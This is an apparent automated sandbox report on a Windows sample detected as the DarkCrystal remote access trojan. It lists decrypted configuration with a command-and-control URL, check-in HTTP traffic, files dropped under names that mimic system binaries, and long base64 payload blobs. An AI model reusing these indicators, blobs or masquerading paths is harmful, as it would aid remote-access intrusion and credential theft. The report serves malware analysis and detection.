Source: 01YP9Lwum8.exe	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-4YOhKPWwynFGpu6pKOfm","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
Source: 01YP9Lwum8.exe	String decryptor: [["http://77777cm.nyashtyan.in/","externalpipejsprocessAuthapiDbtrackWordpressCdn"]]

Source: 01YP9Lwum8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 01YP9Lwum8.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: 7C:\Users\user\AppData\Local\Temp\vtff42xx\vtff42xx.pdb source: 01YP9Lwum8.exe, 00000000.00000002.1840009757.0000000003201000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49736 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49869 -> 188.114.97.3:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\Tasks\explorer.exe

Network Connect: 188.114.97.3 80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: global traffic	HTTP traffic detected: POST /externalpipejsprocessAuthapiDbtrackWordpressCdn.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34Host: 77777cm.nyashtyan.inContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /externalpipejsprocessAuthapiDbtrackWordpressCdn.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 77777cm.nyashtyan.inContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /externalpipejsprocessAuthapiDbtrackWordpressCdn.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 77777cm.nyashtyan.inContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 77777cm.nyashtyan.in

Source: unknown

HTTP traffic detected: POST /externalpipejsprocessAuthapiDbtrackWordpressCdn.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34Host: 77777cm.nyashtyan.inContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: powershell.exe, 00000039.00000002.2054010861.0000022227FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000018.00000002.2065671953.0000022F1059A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2029811619.000002333D566000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2006686059.0000024E80298000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1994814870.000001F731A16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2035288146.0000024149816000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2041246383.00000145A7BF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2119266017.000001DB66DD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2033809337.000001BBAB286000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2029202541.000001E842D27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2067526462.0000018E115D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2060271760.0000015740B87000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2004960030.00000148CDCD7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002F.00000002.2075915359.00000251B5386000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2085720292.000002C688F18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2092521456.00000200E35C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000034.00000002.2028432239.0000021B867E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.1995608264.00000217A6097000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000039.00000002.2054010861.0000022227FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: 01YP9Lwum8.exe, 00000000.00000002.1840009757.0000000003201000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2065671953.0000022F102A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2029811619.000002333D341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2006686059.0000024E80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1994814870.000001F7317F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2035288146.00000241495F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2041246383.00000145A79D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2119266017.000001DB66AF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2033809337.000001BBAB090000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2067526462.0000018E11381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2060271760.0000015740961000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2004960030.00000148CDAB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002F.00000002.2075915359.00000251B5161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2085720292.000002C688CF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2092521456.00000200E33A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000034.00000002.2028432239.0000021B865C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.1995608264.00000217A5E71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000039.00000002.2054010861.0000022227DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000026.00000002.2029202541.000001E842B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name8
Source: powershell.exe, 00000018.00000002.2065671953.0000022F1059A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2029811619.000002333D566000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2006686059.0000024E80298000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1994814870.000001F731A16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2035288146.0000024149816000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2041246383.00000145A7BF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2119266017.000001DB66DD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2033809337.000001BBAB286000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2029202541.000001E842D27000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2067526462.0000018E115D3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2060271760.0000015740B87000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2004960030.00000148CDCD7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002F.00000002.2075915359.00000251B5386000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2085720292.000002C688F18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2092521456.00000200E35C7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000034.00000002.2028432239.0000021B867E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.1995608264.00000217A6097000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000039.00000002.2054010861.0000022227FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000039.00000002.2054010861.0000022227FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000018.00000002.2065671953.0000022F102A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2029811619.000002333D341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.2006686059.0000024E80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001D.00000002.1994814870.000001F7317F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2035288146.00000241495F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2041246383.00000145A79D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2119266017.000001DB66AF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2033809337.000001BBAB081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000026.00000002.2029202541.000001E842B01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2067526462.0000018E11381000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000029.00000002.2060271760.0000015740961000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2004960030.00000148CDAB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002F.00000002.2075915359.00000251B5161000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000031.00000002.2085720292.000002C688CF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2092521456.00000200E33A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000034.00000002.2028432239.0000021B865C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000036.00000002.1995608264.00000217A5E71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000039.00000002.2054010861.0000022227DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000039.00000002.2054010861.0000022227FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester

System Summary

.NET source code contains very large strings

Source: 01YP9Lwum8.exe, Class16.cs

Long String: Length: 179836

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Windows\Containers\4d1a182ec818fb	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Windows\Tasks\explorer.exe	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Windows\Tasks\explorer.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	File created: C:\Windows\Tasks\7a0fd90576e088	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSC2E12D3EDCC724896BFC1D45EC76ED5FD.TMP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSC2E12D3EDCC724896BFC1D45EC76ED5FD.TMP

Jump to behavior

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9B8B8028	0_2_00007FFD9B8B8028
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9B8BC425	0_2_00007FFD9B8BC425
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9B8BC350	0_2_00007FFD9B8BC350
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9B8B8E70	0_2_00007FFD9B8B8E70
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9B8B1222	0_2_00007FFD9B8B1222
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9B8B8E7F	0_2_00007FFD9B8B8E7F
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9B8C48EE	0_2_00007FFD9B8C48EE
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9BA29AAF	0_2_00007FFD9BA29AAF
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 0_2_00007FFD9BA21DD5	0_2_00007FFD9BA21DD5
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Code function: 6_2_00007FFD9B8A1222	6_2_00007FFD9B8A1222
Source: C:\Users\Default\AppData\Roaming\IMiOGCAyeLWFuBBcn.exe	Code function: 8_2_00007FFD9B8A1222	8_2_00007FFD9B8A1222
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 59_2_00007FFD9B881222	59_2_00007FFD9B881222
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 61_2_00007FFD9B881222	61_2_00007FFD9B881222
Source: C:\Windows\Tasks\explorer.exe	Code function: 63_2_00007FFD9B881222	63_2_00007FFD9B881222
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Code function: 69_2_00007FFD9B891222	69_2_00007FFD9B891222
Source: C:\Program Files (x86)\Common Files\DESIGNER\IMiOGCAyeLWFuBBcn.exe	Code function: 72_2_00007FFD9B881222	72_2_00007FFD9B881222
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 74_2_00007FFD9B881222	74_2_00007FFD9B881222
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Code function: 76_2_00007FFD9B881222	76_2_00007FFD9B881222
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	Code function: 77_2_00007FFD9B881222	77_2_00007FFD9B881222
Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Code function: 78_2_00007FFD9B8A1222	78_2_00007FFD9B8A1222

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\FQJMKusv.log 2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669

Source: 01YP9Lwum8.exe, 00000000.00000002.1990123562.000000001C28A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 01YP9Lwum8.exe
Source: 01YP9Lwum8.exe, 00000000.00000000.1678955893.0000000000D42000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 01YP9Lwum8.exe
Source: 01YP9Lwum8.exe	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 01YP9Lwum8.exe

Source: 01YP9Lwum8.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 01YP9Lwum8.exe, Stream5.cs	Cryptographic APIs: 'TransformBlock'
Source: 01YP9Lwum8.exe, Stream5.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 01YP9Lwum8.exe, Stream5.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'

Source: 01YP9Lwum8.exe, qJk.cs	Base64 encoded string: 'H4sIAAAAAAAEAMsoKSkottLXzyzIzEvL18vM188qzs8DACTOYY8WAAAA', 'H4sIAAAAAAAACssoKSkottLXTyzI1Mss0CtO0k9Pzc8sAABsWDNKFwAAAA=='
Source: 01YP9Lwum8.exe, sz3.cs	Base64 encoded string: 'in+6V3DxfAD/deDVQLY4OolA31uIWjzZd742qd6CHT7oRIuIVSVdb4xobdscO0I6N8wso3+JlZBryDYyOHeE4tnzDs8FkpD4nE+G1moDQbXfZlMJronTzdQ8flz0dl9x3wHyNpX8rGM8o+wjm7J+qmP83Op0gF+vNkpekvjUttwhFjilPxIienJDPAwgDeB1vVMhbmqypsC6AhQeavnAw2FAdsPsBhdU9EJg3sOKD5KmCRXdKfR8SOgjddYCl76LX7W8Gl5tBNqoxtBVnYAjmza4tpC+r/pBtzTZQVBAprt4YrAzjMWNGFDqGnBKyrhcELeYEVh1iUlNSH8ooYj+hHLTWoqOXYY9UARuzYUk0SlE1ij0lQO0URoLIkvakPUEG12lZzE3gxgAeRkg/yIvxXoYN8mslgUuf4MeUOwNoXDz18xy63QxR7vmXBFYV1KRq7j4uiyFS+u7aqKkuMWeN8V8NYR11iuffrA8cF2LDSW7atF5xBNVlXSEEIIjAaKiLjevplpZJSsG86Eq22loiDEWtnxT6VP0PWtWSX/V8UFh1qzGbr5bwMNTOtCLFhi/8X4gMKdo1fHuyb4DmpsM2WHGMixTocuivy4TBWCqHYRR8JocSjgahmFQoQ5KfqQ078ZkIWbfPhw016eGWOnIQ2f2sK3crohnHmdXCqULMQwS47OxzOm6BMKhtYUeMve+W65/9EYd5Cfid7WSVziuxMG199AojUbxQjm4tYMQ/2iZYKNR6st0O0KflvjhSRTEhDnGAtr6uPD7pf0JZ2yvLbvt9E5QKQXrx6zXmhw+IzmCKR5XgNPJogjmb4H50bYBhrUIiWgYMGx6lfkxx/KVZRTeibpeetozTenn2RzSSsVvy8X1b4li9n/A2x+U4kh9a34nonpn+0dOh72Hjb5i6KfwDADohylOq2JHX24hSJWEMaT8tcNvLN260FwfEB4Qn9g2iulgJyn4DjtaKEBxyggIgMfjZhFqzWEzKw43hFo='
Source: 01YP9Lwum8.exe, Class17.cs	Base64 encoded string: 'ICBfX18gICAgICAgICAgIF8gICAgICBfX18gICAgICAgICAgICAgXyAgICAgICAgXyAgIF9fXyAgICBfIF9fX19fIA0KIHwgICBcIF9fIF8gXyBffCB8X18gIC8gX198XyBfIF8gIF8gX198IHxfIF9fIF98IHwgfCBfIFwgIC9fXF8gICBffA0KIHwgfCkgLyBfYCB8ICdffCAvIC8gfCAoX198ICdffCB8fCAoXy08ICBfLyBfYCB8IHwgfCAgIC8gLyBfIFx8IHwgIA0KIHxfX18vXF9fLF98X3wgfF9cX1wgIFxfX198X3wgIFxfLCAvX18vXF9fXF9fLF98X3wgfF98X1wvXy8gXF9cX3wgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfXy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA=='
Source: 01YP9Lwum8.exe, Class16.cs	Base64 encoded string: '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

Source: classification engine

Classification label: mal100.spre.troj.expl.evad.winEXE@88/116@1/1

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

File created: C:\Program Files (x86)\common files\DESIGNER\IMiOGCAyeLWFuBBcn.exe

Jump to behavior

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

File created: C:\Users\user\Desktop\MMQdZROL.log

Jump to behavior

Source: C:\Windows\Containers\IMiOGCAyeLWFuBBcn.exe	Mutant created: NULL
Source: C:\Windows\Tasks\explorer.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-4YOhKPWwynFGpu6pKOfm
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6872:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8352:120:WilError_03

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

File created: C:\Users\user\AppData\Local\Temp\vtff42xx

Jump to behavior

Source: C:\Users\user\Desktop\01YP9Lwum8.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\htnlvXarKJ.bat"

Source: unknown	Process created: C:\Windows\Tasks\explorer.exe
Source: unknown	Process created: C:\Windows\Tasks\explorer.exe

Source: 01YP9Lwum8.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 01YP9Lwum8.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.79%

Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\01YP9Lwum8.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
